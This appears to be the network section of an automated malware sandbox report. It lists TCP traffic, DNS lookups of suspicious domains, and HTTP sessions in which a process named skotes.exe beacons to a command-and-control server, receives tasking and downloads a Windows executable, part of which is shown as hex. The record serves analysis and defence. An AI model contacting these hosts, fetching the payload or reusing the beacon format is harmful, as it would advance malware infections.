Dec 20, 2024 17:43:56.053558111 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:56.054152012 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:56.054198027 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:56.054332972 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:56.054378986 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:56.055201054 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:56.055258989 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:56.055286884 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:56.055335045 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:56.056319952 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:56.056366920 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:56.056390047 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:56.056432009 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:56.057311058 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:56.057358027 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:56.058345079 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:56.058357954 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:56.058398008 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:56.058449030 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:56.058494091 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:56.059348106 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:56.059397936 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:56.059483051 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:56.059535980 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:56.060434103 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:56.060484886 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:56.060589075 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:56.060632944 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:56.061438084 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:56.061485052 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:56.061517000 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:56.061561108 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:56.062474966 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:56.062520981 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:56.062633991 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:56.062674999 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:56.063561916 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:56.063611984 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:56.063698053 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:56.063745975 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:56.064539909 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:56.064593077 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:56.065311909 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:56.065366030 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:56.065594912 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:56.065639973 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:56.065669060 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:56.065710068 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:56.149204016 CET	443	49803	104.21.91.209	192.168.2.6
Dec 20, 2024 17:43:56.149265051 CET	443	49803	104.21.91.209	192.168.2.6
Dec 20, 2024 17:43:56.149292946 CET	443	49803	104.21.91.209	192.168.2.6
Dec 20, 2024 17:43:56.149323940 CET	49803	443	192.168.2.6	104.21.91.209
Dec 20, 2024 17:43:56.149362087 CET	443	49803	104.21.91.209	192.168.2.6
Dec 20, 2024 17:43:56.149399996 CET	443	49803	104.21.91.209	192.168.2.6
Dec 20, 2024 17:43:56.149410009 CET	49803	443	192.168.2.6	104.21.91.209
Dec 20, 2024 17:43:56.149418116 CET	443	49803	104.21.91.209	192.168.2.6
Dec 20, 2024 17:43:56.149458885 CET	49803	443	192.168.2.6	104.21.91.209
Dec 20, 2024 17:43:56.157718897 CET	443	49803	104.21.91.209	192.168.2.6
Dec 20, 2024 17:43:56.165872097 CET	443	49803	104.21.91.209	192.168.2.6
Dec 20, 2024 17:43:56.165927887 CET	49803	443	192.168.2.6	104.21.91.209
Dec 20, 2024 17:43:56.165935993 CET	443	49803	104.21.91.209	192.168.2.6
Dec 20, 2024 17:43:56.174529076 CET	443	49803	104.21.91.209	192.168.2.6
Dec 20, 2024 17:43:56.174599886 CET	49803	443	192.168.2.6	104.21.91.209
Dec 20, 2024 17:43:56.174607038 CET	443	49803	104.21.91.209	192.168.2.6
Dec 20, 2024 17:43:56.203833103 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:56.203896046 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:56.204087019 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:56.204133034 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:56.204315901 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:56.204360008 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:56.204468966 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:56.204528093 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:56.205360889 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:56.205410004 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:56.205534935 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:56.205585957 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:56.206444979 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:56.206459045 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:56.206487894 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:56.206511974 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:56.207493067 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:56.207549095 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:56.208544016 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:56.208561897 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:56.208590984 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:56.208615065 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:56.208628893 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:56.208813906 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:56.209544897 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:56.209588051 CET	49799	80	192.168.2.6	31.41.244.11

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 20, 2024 17:43:25.419415951 CET	192.168.2.6	1.1.1.1	0x81d	Standard query (0)	lossekniyyt.click	A (IP address)	IN (0x0001)	false
Dec 20, 2024 17:43:33.966491938 CET	192.168.2.6	1.1.1.1	0x3083	Standard query (0)	sweepyribs.lat	A (IP address)	IN (0x0001)	false
Dec 20, 2024 17:43:34.106030941 CET	192.168.2.6	1.1.1.1	0xc1e4	Standard query (0)	grannyejh.lat	A (IP address)	IN (0x0001)	false
Dec 20, 2024 17:43:34.333389044 CET	192.168.2.6	1.1.1.1	0xba6b	Standard query (0)	discokeyus.lat	A (IP address)	IN (0x0001)	false
Dec 20, 2024 17:43:39.281447887 CET	192.168.2.6	1.1.1.1	0x4f7f	Standard query (0)	jlgenfekjlfnvtgpegkwr.xyz	A (IP address)	IN (0x0001)	false
Dec 20, 2024 17:43:39.283689022 CET	192.168.2.6	1.1.1.1	0x8d68	Standard query (0)	cobolrationumelawrtewarms.com	A (IP address)	IN (0x0001)	false
Dec 20, 2024 17:43:44.279371023 CET	192.168.2.6	1.1.1.1	0x25f1	Standard query (0)	jlgenfekjlfnvtgpegkwr.xyz	A (IP address)	IN (0x0001)	false
Dec 20, 2024 17:43:44.974730968 CET	192.168.2.6	1.1.1.1	0x2520	Standard query (0)	pancakedipyps.click	A (IP address)	IN (0x0001)	false
Dec 20, 2024 17:43:49.198811054 CET	192.168.2.6	1.1.1.1	0xbb3d	Standard query (0)	jlgenfekjlfnvtgpegkwr.xyz	A (IP address)	IN (0x0001)	false
Dec 20, 2024 17:43:51.744102955 CET	192.168.2.6	1.1.1.1	0x442a	Standard query (0)	treehoneyi.click	A (IP address)	IN (0x0001)	false
Dec 20, 2024 17:43:54.168443918 CET	192.168.2.6	1.1.1.1	0x591d	Standard query (0)	jlgenfekjlfnvtgpegkwr.xyz	A (IP address)	IN (0x0001)	false
Dec 20, 2024 17:44:00.589128017 CET	192.168.2.6	1.1.1.1	0xc357	Standard query (0)	jlgenfekjlfnvtgpegkwr.xyz	A (IP address)	IN (0x0001)	false
Dec 20, 2024 17:44:02.723526001 CET	192.168.2.6	1.1.1.1	0x46ac	Standard query (0)	httpbin.org	A (IP address)	IN (0x0001)	false
Dec 20, 2024 17:44:02.723566055 CET	192.168.2.6	1.1.1.1	0x7936	Standard query (0)	httpbin.org	28	IN (0x0001)	false
Dec 20, 2024 17:44:05.337898970 CET	192.168.2.6	1.1.1.1	0x1380	Standard query (0)	home.fivetk5ht.top	A (IP address)	IN (0x0001)	false
Dec 20, 2024 17:44:05.337987900 CET	192.168.2.6	1.1.1.1	0xf2c4	Standard query (0)	home.fivetk5ht.top	28	IN (0x0001)	false
Dec 20, 2024 17:44:05.495774984 CET	192.168.2.6	1.1.1.1	0x58d2	Standard query (0)	jlgenfekjlfnvtgpegkwr.xyz	A (IP address)	IN (0x0001)	false
Dec 20, 2024 17:44:09.163574934 CET	192.168.2.6	1.1.1.1	0x9270	Standard query (0)	home.fivetk5ht.top	A (IP address)	IN (0x0001)	false
Dec 20, 2024 17:44:09.163599968 CET	192.168.2.6	1.1.1.1	0xe3f1	Standard query (0)	home.fivetk5ht.top	28	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 20, 2024 17:43:25.745578051 CET	1.1.1.1	192.168.2.6	0x81d	No error (0)	lossekniyyt.click		172.67.131.246	A (IP address)	IN (0x0001)	false
Dec 20, 2024 17:43:25.745578051 CET	1.1.1.1	192.168.2.6	0x81d	No error (0)	lossekniyyt.click		104.21.12.88	A (IP address)	IN (0x0001)	false
Dec 20, 2024 17:43:34.104353905 CET	1.1.1.1	192.168.2.6	0x3083	Name error (3)	sweepyribs.lat	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2024 17:43:34.331854105 CET	1.1.1.1	192.168.2.6	0xc1e4	Name error (3)	grannyejh.lat	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2024 17:43:34.649142027 CET	1.1.1.1	192.168.2.6	0xba6b	No error (0)	discokeyus.lat		172.67.197.170	A (IP address)	IN (0x0001)	false
Dec 20, 2024 17:43:34.649142027 CET	1.1.1.1	192.168.2.6	0xba6b	No error (0)	discokeyus.lat		104.21.21.99	A (IP address)	IN (0x0001)	false
Dec 20, 2024 17:43:39.508342981 CET	1.1.1.1	192.168.2.6	0x4f7f	Name error (3)	jlgenfekjlfnvtgpegkwr.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2024 17:43:39.928663015 CET	1.1.1.1	192.168.2.6	0x8d68	No error (0)	cobolrationumelawrtewarms.com		89.35.131.209	A (IP address)	IN (0x0001)	false
Dec 20, 2024 17:43:44.417644024 CET	1.1.1.1	192.168.2.6	0x25f1	Name error (3)	jlgenfekjlfnvtgpegkwr.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2024 17:43:45.299762964 CET	1.1.1.1	192.168.2.6	0x2520	No error (0)	pancakedipyps.click		104.21.23.76	A (IP address)	IN (0x0001)	false
Dec 20, 2024 17:43:45.299762964 CET	1.1.1.1	192.168.2.6	0x2520	No error (0)	pancakedipyps.click		172.67.209.202	A (IP address)	IN (0x0001)	false
Dec 20, 2024 17:43:49.336503983 CET	1.1.1.1	192.168.2.6	0xbb3d	Name error (3)	jlgenfekjlfnvtgpegkwr.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2024 17:43:52.077171087 CET	1.1.1.1	192.168.2.6	0x442a	No error (0)	treehoneyi.click		104.21.91.209	A (IP address)	IN (0x0001)	false
Dec 20, 2024 17:43:52.077171087 CET	1.1.1.1	192.168.2.6	0x442a	No error (0)	treehoneyi.click		172.67.180.113	A (IP address)	IN (0x0001)	false
Dec 20, 2024 17:43:54.306323051 CET	1.1.1.1	192.168.2.6	0x591d	Name error (3)	jlgenfekjlfnvtgpegkwr.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2024 17:44:00.726408005 CET	1.1.1.1	192.168.2.6	0xc357	Name error (3)	jlgenfekjlfnvtgpegkwr.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2024 17:44:03.022629023 CET	1.1.1.1	192.168.2.6	0x46ac	No error (0)	httpbin.org		98.85.100.80	A (IP address)	IN (0x0001)	false
Dec 20, 2024 17:44:03.022629023 CET	1.1.1.1	192.168.2.6	0x46ac	No error (0)	httpbin.org		34.226.108.155	A (IP address)	IN (0x0001)	false
Dec 20, 2024 17:44:05.623624086 CET	1.1.1.1	192.168.2.6	0x1380	No error (0)	home.fivetk5ht.top		185.121.15.192	A (IP address)	IN (0x0001)	false
Dec 20, 2024 17:44:05.634804964 CET	1.1.1.1	192.168.2.6	0x58d2	Name error (3)	jlgenfekjlfnvtgpegkwr.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2024 17:44:09.306313038 CET	1.1.1.1	192.168.2.6	0x9270	No error (0)	home.fivetk5ht.top		185.121.15.192	A (IP address)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49727	185.215.113.43	80	7752	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2024 17:43:05.518340111 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 20, 2024 17:43:06.881536007 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 20 Dec 2024 16:43:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49729	185.215.113.43	80	7752	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2024 17:43:08.509742022 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 36 32 37 37 35 42 35 35 43 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7CB62775B55C82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Dec 20, 2024 17:43:09.881642103 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 20 Dec 2024 16:43:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 36 66 0d 0a 20 3c 63 3e 31 30 31 38 36 37 36 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 64 30 33 34 37 62 35 63 38 34 63 36 36 32 32 34 32 37 39 61 39 31 64 61 61 38 39 38 33 65 38 65 64 66 62 62 38 63 65 36 63 64 64 36 63 34 32 62 66 35 64 65 35 34 38 35 36 34 64 31 61 62 61 64 64 66 31 30 61 61 31 62 34 63 37 34 34 32 62 65 65 36 66 32 66 66 37 30 63 38 35 39 31 37 30 64 61 36 61 23 31 30 31 38 36 39 31 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 66 30 62 35 64 61 66 63 38 35 30 36 32 33 38 34 37 36 30 61 63 30 32 62 34 64 65 64 38 61 62 65 65 65 31 66 62 64 33 32 63 38 36 34 34 34 64 62 33 31 63 66 36 34 64 34 61 34 38 35 61 39 35 39 32 65 31 30 30 62 37 23 31 30 31 38 36 39 32 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 66 30 62 35 64 61 66 63 38 35 30 36 32 33 38 34 37 36 30 61 63 30 32 62 34 64 65 64 38 61 62 65 65 65 31 66 62 65 30 36 64 39 64 34 61 34 33 62 61 34 61 65 38 31 63 31 36 30 33 34 37 39 39 64 32 65 30 31 37 62 66 65 33 [TRUNCATED] Data Ascii: 76f <c>1018676001+++b5937c1a99d5f9dd0347b5c84c66224279a91daa8983e8edfbb8ce6cdd6c42bf5de548564d1abaddf10aa1b4c7442bee6f2ff70c859170da6a#1018691001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbd32c86444db31cf64d4a485a9592e100b7#1018692001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbe06d9d4a43ba4ae81c16034799d2e017bfe3d1482b#1018693001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbcd7e864403ac52ea484b411b9dc4e1#1018694001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbc7709c4543b01cf64d4a485a9592e100b7#1018695001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbc67e805545b01cf64d4a485a9592e100b7#1018696001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbc97c994e5faf1cf64d4a485a9592e100b7#1018697001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbc770934541bf5dab5e45425197d1aa1daaa8#1018698001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbdc76914a49ba1cf64d4a485a9592e100b7#1018699001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbc07e [TRUNCATED]
Dec 20, 2024 17:43:09.882210016 CET	858	IN	Data Raw: 63 31 61 39 39 64 35 66 39 64 66 30 62 35 64 61 66 63 38 35 30 36 32 33 38 34 37 36 30 61 63 30 32 62 34 64 65 64 38 61 62 65 65 65 31 66 62 64 65 37 31 39 62 35 30 35 39 62 62 30 32 61 62 35 65 34 35 34 32 35 31 39 37 64 31 61 61 31 64 61 61 61 Data Ascii: c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbde719b5059bb02ab5e45425197d1aa1daaa8#1018701001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbde719b5059bb01ab5e45425197d1aa1daaa8#1018702001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.6	49730	194.126.174.112	80	7752	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2024 17:43:10.015825987 CET	75	OUT	GET /files/Mnanadra/Baursystempower.exe HTTP/1.1 Host: 194.126.174.112
Dec 20, 2024 17:43:11.254698992 CET	1236	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 16:43:11 GMT Server: Apache/2.4.58 (Ubuntu) Last-Modified: Thu, 08 Aug 2024 15:33:55 GMT ETag: "134820-61f2dc129dec0" Accept-Ranges: bytes Content-Length: 1263648 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 6d 9c 65 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 08 00 00 cc 12 00 00 08 00 00 00 00 00 00 ce eb 12 00 00 20 00 00 00 00 13 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 40 13 00 00 02 00 00 00 00 00 00 02 00 60 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 7c eb 12 00 4f 00 00 00 00 00 13 00 d6 05 00 00 00 00 00 00 00 00 00 00 00 d6 12 00 20 72 00 00 00 20 13 00 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELmeg @ @`\|O r H.text `.rsrc@@.reloc @BH`$((%~:rp(&o's(~~j(r?p~o)tq(&rOp((+o,&((o-~%:&~s.%(+(.sFo0rcp(1(2BrpsA{"}{"}frp}(B}"(C{%s;on%s?op"(%
Dec 20, 2024 17:43:11.254884958 CET	1236	IN	Data Raw: 73 3b 01 00 06 6f 6f 00 00 06 03 02 25 fe 07 1d 00 00 06 73 3f 01 00 06 6f 71 00 00 06 2a 22 02 03 28 1a 00 00 06 2a 06 2a 36 02 04 6f d3 02 00 06 28 21 00 00 06 2a 36 02 04 6f 0a 03 00 06 28 21 00 00 06 2a 1e 02 28 1e 00 00 06 2a 1e 02 28 47 00 Data Ascii: s;oo%s?oq"(6o(!6o(!((G:(G}{{"}{"}{"}{"}{"}{"}{"}{"}
Dec 20, 2024 17:43:11.254898071 CET	1236	IN	Data Raw: 00 04 02 28 75 00 00 0a 02 28 2d 01 00 06 2a 3e 02 02 03 75 27 00 00 01 04 28 dd 00 00 06 2a 2a 02 02 03 04 28 dd 00 00 06 2a 2a 02 02 03 04 28 dc 00 00 06 2a 32 02 7b 3e 00 00 04 6f 81 00 00 06 2a 36 02 7b 3e 00 00 04 03 6f 82 00 00 06 2a 32 02 Data Ascii: (u(->u'(((2{>o6{>o2{>o2{>o6{>o2{>o6{>o2{>o6{>o2{>o2{>o6{>o2{>o6{>o2
Dec 20, 2024 17:43:11.254946947 CET	1236	IN	Data Raw: 03 04 28 01 01 00 0a 2a 66 02 72 13 10 00 70 03 28 c3 00 00 0a 28 8b 01 00 06 02 03 7d 74 00 00 04 2a 3e 02 04 28 8b 01 00 06 02 03 7d 74 00 00 04 2a 42 02 04 05 28 8c 01 00 06 02 03 7d 74 00 00 04 2a 1e 02 7b 74 00 00 04 2a 1e 02 28 8a 01 00 06 Data Ascii: (frp((}t>(}tB(}t{t("(&(rep(rp((}u}v{u{vrp{uorp{vo(vrp}wrp}x(G*r
Dec 20, 2024 17:43:11.255079031 CET	1236	IN	Data Raw: 04 02 7b ae 00 00 04 39 0b 00 00 00 02 7b ae 00 00 04 6f 06 00 00 0a 2a 1e 02 28 2f 02 00 06 2a 1e 02 7b af 00 00 04 2a 7a 02 28 25 00 00 0a 02 03 7d b0 00 00 04 02 28 10 01 00 0a 6f 11 01 00 0a 7d b1 00 00 04 2a 7a 02 15 7d b0 00 00 04 02 7b bb Data Ascii: {9{o(/{z(%}(o}z}{9{oz}{9{o(9{z(%}(o}z}{9{o(B{z(%}(
Dec 20, 2024 17:43:11.255090952 CET	1236	IN	Data Raw: 00 0a 02 03 7d 0a 01 00 04 02 04 7d 0b 01 00 04 2a 72 02 28 bd 01 00 0a 02 03 7d 11 01 00 04 02 04 7d 12 01 00 04 02 05 7d 13 01 00 04 2a 1e 02 7b 11 01 00 04 2a 1e 02 7b 12 01 00 04 2a 1e 02 7b 13 01 00 04 2a 1e 02 7b 14 01 00 04 2a 22 02 03 7d Data Ascii: }}r(}}}{{{{"}J(%s7(:(%(2(o'6(o(2(o)6(o*2(o+6(o,2(o-6(o.2(o/6
Dec 20, 2024 17:43:11.255101919 CET	1236	IN	Data Raw: 38 12 00 00 00 00 28 06 00 00 06 0a dd 06 00 00 00 26 dd 00 00 00 00 06 2c eb 73 33 00 00 0a 0b 07 72 af 00 00 70 28 34 00 00 0a 6f 35 00 00 0a 07 72 e1 00 00 70 28 34 00 00 0a 6f 36 00 00 0a 07 6f 37 00 00 0a 06 16 06 8e 69 6f 38 00 00 0a 0a dd Data Ascii: 8(&,s3rp(4o5rp(4o6o7io89o"6X0`~9~o::to;rpo<o=to;rpo<o=to;
Dec 20, 2024 17:43:11.255112886 CET	1236	IN	Data Raw: 07 28 62 00 00 0a dc 06 3a 17 00 00 00 02 7b 2b 00 00 04 39 0c 00 00 00 02 7b 2d 00 00 04 6f 63 00 00 0a 26 02 7b 2d 00 00 04 2a 00 00 00 01 10 00 00 02 00 1a 00 1c 36 00 07 00 00 00 00 1b 30 02 00 a5 00 00 00 0a 00 00 11 02 7b 30 00 00 04 39 12 Data Ascii: (b:{+9{-oc&{-60{09{0oO}0{19{1joF{.:}.}+{-9{-oc&{.:}.{(9{(oe
Dec 20, 2024 17:43:11.255512953 CET	1236	IN	Data Raw: 73 07 03 00 06 6f 39 01 00 06 11 0a 16 6a 6f 46 00 00 0a 02 09 11 08 11 0a 28 14 01 00 06 13 0b 11 0b 7b 19 01 00 04 0b dd 0f 00 00 00 11 09 39 07 00 00 00 11 09 6f 4f 00 00 0a dc dd 09 00 00 00 06 39 02 00 00 00 14 0a dc 07 2a 00 00 41 4c 00 00 Data Ascii: so9joF({9oO9*ALgE0(9(o~t(o(o(o(o
Dec 20, 2024 17:43:11.255526066 CET	1236	IN	Data Raw: 79 00 00 0a 0b 06 6f b8 00 00 06 13 04 73 f7 02 00 06 13 05 06 6f 9f 00 00 06 6f 33 00 00 06 39 12 00 00 00 11 05 06 6f 9f 00 00 06 6f 33 00 00 06 6f e5 02 00 06 11 05 06 6f 9f 00 00 06 6f 29 00 00 06 6f db 02 00 06 11 05 06 6f 9f 00 00 06 6f 2b Data Ascii: yosoo39oo3ooo)ooo+ooo-ooo'ooo/ooo1oo9JoojoF(\|ozjoFo{{js
Dec 20, 2024 17:43:11.380156994 CET	1236	IN	Data Raw: 7c 00 00 0a 7d 35 00 00 04 08 6f ba 00 00 06 0b 02 7b 47 00 00 04 39 2b 00 00 00 02 08 6f b8 00 00 06 7b 0d 01 00 04 08 6f b8 00 00 06 7b 0f 01 00 04 6a 07 73 07 03 00 06 6f 39 01 00 06 07 16 6a 6f 46 00 00 0a 02 09 07 28 30 01 00 06 0b 02 08 6f Data Ascii: \|}5o{G9+o{o{jso9joF(0o({9oO0;((:(o(9(:*r4psz0!rp

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.6	49731	185.215.113.43	80	7752	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2024 17:43:15.943795919 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 31 38 36 37 36 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1018676001&unit=246122658369
